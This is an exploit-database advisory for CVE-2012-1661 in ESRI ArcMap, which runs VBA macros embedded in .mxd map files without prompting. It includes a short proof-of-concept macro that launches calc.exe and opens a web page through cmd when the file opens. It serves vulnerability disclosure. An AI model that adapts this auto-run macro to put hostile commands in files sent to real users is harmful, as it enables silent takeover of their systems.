ESRI ArcMap Arbitrary Code Execution Via Crafted Map File

vendor:

ArcGIS Desktop

by:

Joseph Cohen

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CVSS

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Arbitrary Code Execution

CWE

Product Name: ArcGIS Desktop

Affected Version From: ArcMap 9

Affected Version To: ArcGIS Desktop 10 Release Version: 10.0 Product Version: 10.0.2.3200 ArcGIS Service Pack: 2 (build 10.0.2.3200)

Patch Exists: YES

Related CWE: CVE-2012-1661

CPE: 2.3:a:esri:arcgis_desktop:10.0.2.3200

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2012

ESRI ArcMap Arbitrary Code Execution Via Crafted Map File

Opening a specially crafted mxd file will execute arbitrary code without prompting and without a crash of the application. This is due to a flaw in the programs ability to prompt a user before executing embedded VBA. Mxd files are not filtered by email systems so this allows a remote attacker to trick a user into opening a map file via email and unknowingly gain control over their system.

Mitigation:

Users should be aware of the potential for malicious files to be sent via email and should not open any files from untrusted sources.

Source

Exploit-DB raw data:

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ESRI ArcMap Arbitrary Code Execution Via Crafted Map File

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Description:
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Opening a specially crafted mxd file will execute arbitrary
code without prompting and without a crash of the application.
This is due to a flaw in the programs ability to prompt a user
before executing embedded VBA. Mxd files are not filtered by
email systems so this allows a remote attacker to trick a user
into opening a map file via email and unknowingly gain control
over their system.

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Versions affected (maybe more):
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ArcMap 9

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.1.2800
ArcGIS Service Pack: 1 (build 10.0.1.2800)

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.2.3200
ArcGIS Service Pack: 2 (build 10.0.2.3200)

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Proof of concept:
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If the following macro is implemented in the project
the Shell statements will be executed when the
document is opened without prompt.

Private Function MxDocument_OpenDocument() As Boolean
Shell "calc.exe", vbNormalFocus
Shell "cmd /c start
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",
vbNormalFocus
End Function

Video at site:

http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661